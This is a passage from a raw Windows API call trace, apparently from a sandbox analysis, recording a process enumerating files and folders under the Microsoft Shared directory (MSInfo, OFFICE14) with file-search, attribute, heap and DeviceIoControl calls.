ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0051.157] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0051.157] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0051.157] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0051.158] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0051.158] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0051.158] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0051.158] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0051.158] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 0 [0051.158] GetLastError () returned 0x12 [0051.158] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d1e0 [0051.158] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0051.158] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.158] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0051.158] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0051.158] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0051.158] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0051.158] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0051.158] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf9dfa8 [0051.158] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf9dfa8, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xf9dfa8, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0051.158] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dfa8) returned 1 [0051.158] NtClose (Handle=0x190) returned 0x0 [0051.158] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0051.158] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0051.159] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0051.159] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0051.159] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0051.159] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.159] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1 [0051.159] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0051.159] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0051.159] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0051.159] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0051.159] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0051.159] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83a78 [0051.159] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0051.159] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95b00 [0051.159] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf969a8 [0051.159] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0051.159] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 0 [0051.159] GetLastError () returned 0x12 [0051.159] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0051.159] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0051.159] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.159] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1 [0051.159] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 0 [0051.159] GetLastError () returned 0x12 [0051.159] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0051.159] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0051.160] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83a78) returned 1 [0051.160] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0051.160] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0051.160] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 0 [0051.160] GetLastError () returned 0x12 [0051.160] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0051.160] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0051.160] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c5a0) returned 1 [0051.160] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0051.160] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 1 [0051.160] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0051.160] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14" (normalized: "c:\\program files\\common files\\microsoft shared\\office14"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0051.160] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14" (normalized: "c:\\program files\\common files\\microsoft shared\\office14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0051.160] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0051.160] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf9dfa8 [0051.160] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf9dfa8, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xf9dfa8, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0051.160] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dfa8) returned 1 [0051.160] NtClose (Handle=0x18c) returned 0x0 [0051.160] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0051.160] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0051.160] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c5a0 [0051.160] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0051.160] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d1e0 [0051.161] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.161] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0051.161] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703dbc00, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xd80a4ee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x703dbc00, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x310788, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACECORE.DLL", cAlternateFileName="")) returned 1 [0051.161] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0051.161] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0051.161] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0051.161] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0051.161] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0051.161] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0051.161] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd80f11a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xb5db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEDAO.DLL", cAlternateFileName="")) returned 1 [0051.161] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0051.161] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0051.161] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0051.161] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0051.161] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0051.161] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0051.161] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xa990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEERR.DLL", cAlternateFileName="")) returned 1 [0051.161] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0051.161] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0051.161] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0051.161] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0051.161] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0051.161] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0051.161] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xf73a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEES.DLL", cAlternateFileName="")) returned 1 [0051.161] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0051.161] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0051.161] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0051.161] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0051.161] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0051.162] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0051.162] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x6bfa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEEXCH.DLL", cAlternateFileName="")) returned 1 [0051.162] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0051.162] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0051.162] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0051.162] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0051.162] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0051.162] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0051.162] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xdbb98, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEEXCL.DLL", cAlternateFileName="")) returned 1 [0051.162] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0051.162] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0051.162] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0051.162] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0051.162] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0051.162] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0051.162] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x53bb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODBC.DLL", cAlternateFileName="")) returned 1 [0051.162] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODDBS.DLL", cAlternateFileName="")) returned 1 [0051.162] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODEXL.DLL", cAlternateFileName="")) returned 1 [0051.162] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODTXT.DLL", cAlternateFileName="")) returned 1 [0051.162] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8189720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x833a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEOLEDB.DLL", cAlternateFileName="")) returned 1 [0051.162] 